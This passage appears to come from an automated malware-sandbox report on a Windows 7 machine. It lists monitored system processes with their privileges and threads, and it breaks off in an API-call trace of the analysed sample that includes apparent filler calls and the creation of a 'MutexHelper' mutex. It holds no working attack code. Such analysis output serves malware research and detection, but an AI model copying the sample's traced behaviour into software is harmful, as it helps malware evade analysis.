"svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x9c0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 20 os_tid = 0x128 Thread: id = 21 os_tid = 0x76c Thread: id = 22 os_tid = 0x758 Thread: id = 23 os_tid = 0x74c Thread: id = 24 os_tid = 0x72c Thread: id = 25 os_tid = 0x71c Thread: id = 26 os_tid = 0x718 Thread: id = 27 os_tid = 0x638 Thread: id = 28 os_tid = 0x154 Thread: id = 29 os_tid = 0x150 Thread: id = 30 os_tid = 0x12c Thread: id = 31 os_tid = 0x120 Thread: id = 32 os_tid = 0x3fc Thread: id = 316 os_tid = 0xa54 Thread: id = 321 os_tid = 0xac4 Process: id = "8" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "2" os_parent_pid = "0x94c" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 33 os_tid = 0x8e0 Thread: id = 34 os_tid = 0x8e8 Thread: id = 35 os_tid = 0x6ac Thread: id = 36 os_tid = 0x18 Thread: id = 37 os_tid = 0x50 Thread: id = 38 os_tid = 0x5f0 Thread: id = 39 os_tid = 0x7c Thread: id = 40 os_tid = 0xd0 Thread: id = 41 os_tid = 0xd4 Thread: id = 42 os_tid = 0x60 Thread: id = 43 os_tid = 0x680 Thread: id = 44 os_tid = 0x4f8 Thread: id = 45 os_tid = 0x624 Thread: id = 46 os_tid = 0x1c Thread: id = 47 os_tid = 0xbc Thread: id = 48 os_tid = 0x52c Thread: id = 49 os_tid = 0x0 Thread: id = 50 os_tid = 0x5f0 Thread: id = 51 os_tid = 0x20 Thread: id = 52 os_tid = 0x708 Thread: id = 53 os_tid = 0x700 Thread: id = 54 os_tid = 0x648 Thread: id = 55 os_tid = 0x6f0 Thread: id = 56 os_tid = 0x6dc Thread: id = 57 os_tid = 0x6cc Thread: id = 58 os_tid = 0x6c4 Thread: id = 59 os_tid = 0x658 Thread: id = 60 os_tid = 0x5ec Thread: id = 61 os_tid = 0x5a0 Thread: id = 62 os_tid = 0x94 Thread: id = 63 os_tid = 0x4a4 Thread: id = 64 os_tid = 0x474 Thread: id = 65 os_tid = 0x78 Thread: id = 66 os_tid = 0x4c Thread: id = 67 os_tid = 0x3d4 Thread: id = 68 os_tid = 0x5c Thread: id = 69 os_tid = 0x88 Thread: id = 70 os_tid = 0x80 Thread: id = 71 os_tid = 0x8c Thread: id = 72 os_tid = 0x30c Thread: id = 73 os_tid = 0x24 Thread: id = 74 os_tid = 0x290 Thread: id = 75 os_tid = 0x68 Thread: id = 76 os_tid = 0x74 Thread: id = 77 os_tid = 0x9c Thread: id = 78 os_tid = 0x98 Thread: id = 79 os_tid = 0x100 Thread: id = 80 os_tid = 0x84 Thread: id = 81 os_tid = 0x19c Thread: id = 82 os_tid = 0x160 Thread: id = 83 os_tid = 0xb4 Thread: id = 84 os_tid = 0x158 Thread: id = 85 os_tid = 0x154 Thread: id = 86 os_tid = 0x150 Thread: id = 87 os_tid = 0x44 Thread: id = 88 os_tid = 0x130 Thread: id = 89 os_tid = 0x40 Thread: id = 90 os_tid = 0x90 Thread: id = 91 os_tid = 0x138 Thread: id = 92 os_tid = 0xc4 Thread: id = 93 os_tid = 0xb0 Thread: id = 94 os_tid = 0x12c Thread: id = 95 os_tid = 0x128 Thread: id = 96 os_tid = 0x30 Thread: id = 97 os_tid = 0xb8 Thread: id = 98 os_tid = 0x3c Thread: id = 99 os_tid = 0x28 Thread: id = 100 os_tid = 0x38 Thread: id = 101 os_tid = 0x34 Thread: id = 102 os_tid = 0x64 Thread: id = 103 os_tid = 0x48 Thread: id = 104 os_tid = 0x110 Thread: id = 105 os_tid = 0x10c Thread: id = 106 os_tid = 0xc0 Thread: id = 107 os_tid = 0x8 Thread: id = 308 os_tid = 0xa2c Thread: id = 309 os_tid = 0xa30 Thread: id = 310 os_tid = 0xa3c Thread: id = 315 os_tid = 0xa50 Thread: id = 317 os_tid = 0xa58 Thread: id = 326 os_tid = 0xae4 Thread: id = 336 os_tid = 0xae8 Thread: id = 338 os_tid = 0xaf0 Thread: id = 341 os_tid = 0xafc Thread: id = 343 os_tid = 0xb00 Thread: id = 345 os_tid = 0xb0c Thread: id = 346 os_tid = 0xb1c Thread: id = 348 os_tid = 0xb24 Thread: id = 350 os_tid = 0xb3c Thread: id = 352 os_tid = 0xb44 Thread: id = 353 os_tid = 0xb48 Thread: id = 354 os_tid = 0xb4c Thread: id = 356 os_tid = 0xb64 Thread: id = 359 os_tid = 0xb7c Thread: id = 362 os_tid = 0xb90 Thread: id = 364 os_tid = 0xba4 Thread: id = 367 os_tid = 0xbc0 Thread: id = 369 os_tid = 0xbd4 Thread: id = 382 os_tid = 0xa0 Thread: id = 398 os_tid = 0xf8 Thread: id = 404 os_tid = 0x7f0 Thread: id = 416 os_tid = 0x86c Thread: id = 419 os_tid = 0x5a8 Process: id = "9" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x2b7f6000" os_pid = "0x1cc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "2" os_parent_pid = "0x94c" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 108 os_tid = 0x4a0 Thread: id = 109 os_tid = 0x7cc Thread: id = 110 os_tid = 0x4e8 Thread: id = 111 os_tid = 0x4c8 Thread: id = 112 os_tid = 0x4b4 Thread: id = 113 os_tid = 0x48c Thread: id = 114 os_tid = 0x368 Thread: id = 115 os_tid = 0x28c Thread: id = 116 os_tid = 0x250 Thread: id = 117 os_tid = 0x24c Thread: id = 118 os_tid = 0x23c Thread: id = 119 os_tid = 0x22c Thread: id = 120 os_tid = 0x228 Thread: id = 121 os_tid = 0x224 Thread: id = 122 os_tid = 0x220 Thread: id = 389 os_tid = 0x848 Thread: id = 401 os_tid = 0x7d0 Thread: id = 420 os_tid = 0x3c0 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xae99000" os_pid = "0x254" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00006da4" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 123 os_tid = 0x710 Thread: id = 124 os_tid = 0x68c Thread: id = 125 os_tid = 0x3f4 Thread: id = 126 os_tid = 0x2a4 Thread: id = 127 os_tid = 0x2a0 Thread: id = 128 os_tid = 0x284 Thread: id = 129 os_tid = 0x280 Thread: id = 130 os_tid = 0x27c Thread: id = 131 os_tid = 0x278 Thread: id = 132 os_tid = 0x26c Thread: id = 133 os_tid = 0x264 Thread: id = 134 os_tid = 0x260 Thread: id = 135 os_tid = 0x258 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1d6d6000" os_pid = "0x298" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b277" [0xc000000f], "LOCAL" [0x7] Thread: id = 136 os_tid = 0x9d0 Thread: id = 137 os_tid = 0x994 Thread: id = 138 os_tid = 0x990 Thread: id = 139 os_tid = 0x740 Thread: id = 140 os_tid = 0x720 Thread: id = 141 os_tid = 0x418 Thread: id = 142 os_tid = 0x2c4 Thread: id = 143 os_tid = 0x2c0 Thread: id = 144 os_tid = 0x2bc Thread: id = 145 os_tid = 0x2b8 Thread: id = 146 os_tid = 0x29c Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa7e5000" os_pid = "0x2cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b580" [0xc000000f], "LOCAL" [0x7] Thread: id = 147 os_tid = 0x850 Thread: id = 148 os_tid = 0x774 Thread: id = 149 os_tid = 0x318 Thread: id = 150 os_tid = 0x35c Thread: id = 151 os_tid = 0x358 Thread: id = 152 os_tid = 0x608 Thread: id = 153 os_tid = 0x600 Thread: id = 154 os_tid = 0x5fc Thread: id = 155 os_tid = 0x5dc Thread: id = 156 os_tid = 0x134 Thread: id = 157 os_tid = 0x174 Thread: id = 158 os_tid = 0x3bc Thread: id = 159 os_tid = 0x3b4 Thread: id = 160 os_tid = 0x3a4 Thread: id = 161 os_tid = 0x304 Thread: id = 162 os_tid = 0x300 Thread: id = 163 os_tid = 0x2f4 Thread: id = 164 os_tid = 0x2ec Thread: id = 165 os_tid = 0x2d8 Thread: id = 166 os_tid = 0x2d0 Thread: id = 324 os_tid = 0xad4 Thread: id = 415 os_tid = 0x7c0 Process: id = "13" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 167 os_tid = 0x790 Thread: id = 168 os_tid = 0x3a0 Thread: id = 169 os_tid = 0x658 Thread: id = 170 os_tid = 0x584 Thread: id = 171 os_tid = 0x750 Thread: id = 172 os_tid = 0x730 Thread: id = 173 os_tid = 0x728 Thread: id = 174 os_tid = 0x674 Thread: id = 175 os_tid = 0x65c Thread: id = 176 os_tid = 0x144 Thread: id = 177 os_tid = 0x118 Thread: id = 178 os_tid = 0x3ec Thread: id = 179 os_tid = 0x3e8 Thread: id = 180 os_tid = 0x3e0 Thread: id = 181 os_tid = 0x3dc Thread: id = 182 os_tid = 0x3cc Thread: id = 183 os_tid = 0x3c8 Thread: id = 184 os_tid = 0x388 Thread: id = 185 os_tid = 0x384 Thread: id = 186 os_tid = 0x380 Thread: id = 187 os_tid = 0x37c Thread: id = 188 os_tid = 0x364 Thread: id = 189 os_tid = 0x360 Thread: id = 190 os_tid = 0x34c Thread: id = 191 os_tid = 0x338 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 192 os_tid = 0x798 Thread: id = 193 os_tid = 0x330 Thread: id = 194 os_tid = 0x7f8 Thread: id = 195 os_tid = 0x430 Thread: id = 196 os_tid = 0x268 Thread: id = 197 os_tid = 0x768 Thread: id = 198 os_tid = 0x764 Thread: id = 199 os_tid = 0x760 Thread: id = 200 os_tid = 0x75c Thread: id = 201 os_tid = 0x70c Thread: id = 202 os_tid = 0x6e8 Thread: id = 203 os_tid = 0x6d8 Thread: id = 204 os_tid = 0x6d4 Thread: id = 205 os_tid = 0x6c8 Thread: id = 206 os_tid = 0x6c0 Thread: id = 207 os_tid = 0x6b8 Thread: id = 208 os_tid = 0x6a4 Thread: id = 209 os_tid = 0x6a0 Thread: id = 210 os_tid = 0x690 Thread: id = 211 os_tid = 0x67c Thread: id = 212 os_tid = 0x490 Thread: id = 213 os_tid = 0x454 Thread: id = 214 os_tid = 0x450 Thread: id = 215 os_tid = 0x428 Thread: id = 216 os_tid = 0x424 Thread: id = 217 os_tid = 0x420 Thread: id = 218 os_tid = 0x404 Thread: id = 219 os_tid = 0x18c Thread: id = 220 os_tid = 0xf0 Thread: id = 221 os_tid = 0xc8 Thread: id = 222 os_tid = 0x3f0 Thread: id = 223 os_tid = 0x3e4 Thread: id = 224 os_tid = 0x398 Thread: id = 225 os_tid = 0x394 Thread: id = 226 os_tid = 0x390 Thread: id = 227 os_tid = 0x38c Thread: id = 228 os_tid = 0x378 Thread: id = 229 os_tid = 0x370 Thread: id = 370 os_tid = 0xbdc Thread: id = 371 os_tid = 0xbe0 Thread: id = 372 os_tid = 0xbe4 Thread: id = 373 os_tid = 0xbe8 Thread: id = 374 os_tid = 0xbec Thread: id = 375 os_tid = 0xbf0 Thread: id = 376 os_tid = 0xbf4 Thread: id = 377 os_tid = 0xbf8 Thread: id = 378 os_tid = 0xbfc Thread: id = 379 os_tid = 0x81c Thread: id = 380 os_tid = 0x814 Thread: id = 381 os_tid = 0x810 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 230 os_tid = 0x95c Thread: id = 231 os_tid = 0x8d4 Thread: id = 232 os_tid = 0x8cc Thread: id = 233 os_tid = 0x890 Thread: id = 234 os_tid = 0x754 Thread: id = 235 os_tid = 0x704 Thread: id = 236 os_tid = 0x6e0 Thread: id = 237 os_tid = 0x6b0 Thread: id = 238 os_tid = 0x698 Thread: id = 239 os_tid = 0x678 Thread: id = 240 os_tid = 0x630 Thread: id = 241 os_tid = 0x610 Thread: id = 242 os_tid = 0x14c Thread: id = 243 os_tid = 0x140 Thread: id = 244 os_tid = 0x158 Thread: id = 245 os_tid = 0x294 Thread: id = 246 os_tid = 0x218 Thread: id = 247 os_tid = 0x230 Thread: id = 248 os_tid = 0x21c Thread: id = 249 os_tid = 0x1c4 Thread: id = 322 os_tid = 0xac8 Process: id = "16" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x7827000" os_pid = "0x480" os_integrity_level = "0x4000" os_privileges = "0x20a00080" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:000102c8" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 250 os_tid = 0x4cc Thread: id = 251 os_tid = 0x4a8 Thread: id = 252 os_tid = 0x49c Thread: id = 253 os_tid = 0x498 Thread: id = 254 os_tid = 0x494 Thread: id = 255 os_tid = 0x484 Thread: id = 384 os_tid = 0x804 Process: id = "17" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x677a000" os_pid = "0x4ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 256 os_tid = 0x954 Thread: id = 257 os_tid = 0x7f4 Thread: id = 258 os_tid = 0x79c Thread: id = 259 os_tid = 0x784 Thread: id = 260 os_tid = 0x77c Thread: id = 261 os_tid = 0x778 Thread: id = 262 os_tid = 0x770 Thread: id = 263 os_tid = 0x4fc Thread: id = 264 os_tid = 0x4e0 Thread: id = 265 os_tid = 0x4c4 Thread: id = 266 os_tid = 0x4b0 Thread: id = 323 os_tid = 0xacc Thread: id = 417 os_tid = 0x5d0 Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x67a3000" os_pid = "0x4d4" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00011137" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 267 os_tid = 0x138 Thread: id = 268 os_tid = 0x7dc Thread: id = 269 os_tid = 0x748 Thread: id = 270 os_tid = 0x744 Thread: id = 271 os_tid = 0x738 Thread: id = 272 os_tid = 0x670 Thread: id = 273 os_tid = 0x66c Thread: id = 274 os_tid = 0x668 Thread: id = 275 os_tid = 0x650 Thread: id = 276 os_tid = 0x634 Thread: id = 277 os_tid = 0x628 Thread: id = 278 os_tid = 0x5f8 Thread: id = 279 os_tid = 0x5e0 Thread: id = 280 os_tid = 0x5d4 Thread: id = 281 os_tid = 0x5bc Thread: id = 282 os_tid = 0x51c Thread: id = 283 os_tid = 0x504 Thread: id = 284 os_tid = 0x4f4 Thread: id = 285 os_tid = 0x4ec Thread: id = 286 os_tid = 0x4e4 Thread: id = 287 os_tid = 0x4d8 Thread: id = 325 os_tid = 0xad8 Process: id = "19" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x6a438000" os_pid = "0x130" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "taskhost.exe $(Arg0)" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT TASK\\Microsoft-Windows-SideShow-AutoWake" [0xe], "NT TASK\\Microsoft-Windows-SideShow-SystemDataProviders" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-UsbCeip" [0xe], "NT TASK\\Microsoft-Windows-Ras-MobilityManager" [0xe], "NT TASK\\Microsoft-Windows-PerfTrack-BackgroundConfigSurveyor" [0xe], "NT TASK\\Microsoft-Windows-RAC-RacTask" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-KernelCeipTask" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002abfd" [0xc0000007], "LOCAL" [0x7] Thread: id = 288 os_tid = 0x6f4 Thread: id = 289 os_tid = 0x6f8 Thread: id = 290 os_tid = 0x6fc Thread: id = 291 os_tid = 0x59c Thread: id = 292 os_tid = 0x598 Thread: id = 293 os_tid = 0x588 Thread: id = 294 os_tid = 0x55c Thread: id = 295 os_tid = 0x110 Thread: id = 296 os_tid = 0x40c Thread: id = 297 os_tid = 0x408 Thread: id = 298 os_tid = 0x30c Thread: id = 299 os_tid = 0x414 Thread: id = 342 os_tid = 0xac0 Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4ebe2000" os_pid = "0xa00" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00051dde" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 300 os_tid = 0xa18 Thread: id = 301 os_tid = 0xa14 Thread: id = 302 os_tid = 0xa10 Thread: id = 303 os_tid = 0xa0c Thread: id = 304 os_tid = 0xa04 Thread: id = 307 os_tid = 0xa28 Process: id = "21" image_name = "ehrecvr.exe" filename = "c:\\windows\\ehome\\ehrecvr.exe" page_root = "0x4e8e8000" os_pid = "0xa20" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\ehome\\ehRecvr.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\ehRecvr" [0xe], "NT AUTHORITY\\Logon Session 00000000:00052195" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 306 os_tid = 0xa24 [0032.267] GetTimeZoneInformation (in: lpTimeZoneInformation=0x26fa60 | out: lpTimeZoneInformation=0x26fa60) returned 0x2 [0032.269] GetCurrentProcess () returned 0xffffffff [0032.269] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x26fa4c | out: lpExitCode=0x26fa4c*=0x103) returned 1 [0032.270] GetForegroundWindow () returned 0x0 [0032.270] GetCaretBlinkTime () returned 0x1f4 [0032.270] GetFileType (hFile=0xf710cd) returned 0x0 [0032.270] GetConsoleProcessList (in: lpdwProcessList=0x26fb0c, dwProcessCount=0x1 | out: lpdwProcessList=0x26fb0c) returned 0x0 [0032.270] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x26fa18 | out: pcyOut=0x26fa18) returned 0x0 [0032.271] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0032.271] GetCommState (in: hFile=0x3b268c, lpDCB=0x26f880 | out: lpDCB=0x26f880) returned 0 [0032.271] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x26f87c, pmr=0x26f868, cht=0x353) returned 0 [0032.271] CloseClipboard () returned 0 [0032.271] CoUninitialize () [0032.271] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0032.272] ReleaseMutex (hMutex=0xa0) returned 0 [0032.272] CloseHandle (hObject=0xa0) returned 1 [0032.272] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0032.272] GetCommState (in: 